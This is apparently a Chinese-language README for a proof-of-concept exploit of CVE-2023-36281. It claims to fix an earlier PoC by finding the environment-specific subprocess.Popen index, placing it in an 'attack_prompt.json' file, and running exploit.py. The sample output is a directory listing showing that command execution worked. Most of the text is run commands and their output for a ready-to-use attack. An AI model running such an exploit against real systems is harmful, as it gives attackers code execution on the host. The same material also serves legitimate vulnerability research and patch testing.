
CVE-2023-36281 的 PoC
我参考了 这个 PoC。不幸的是,它不能正常工作,因为 subprocess.Popen 的索引在每个 Python 环境中是不同的。不过,我的 PoC 代码解决了这个问题。
$ pip install -r requirements.txt
$ python get_index_of_subprocess.py
subprcess.Popen index: 309.
Replace target_index in attack_prompt.json with this value.
$ python exploit.py
README.md attack_prompt.json get_index_of_subprocess.py exploit.py requirements.txt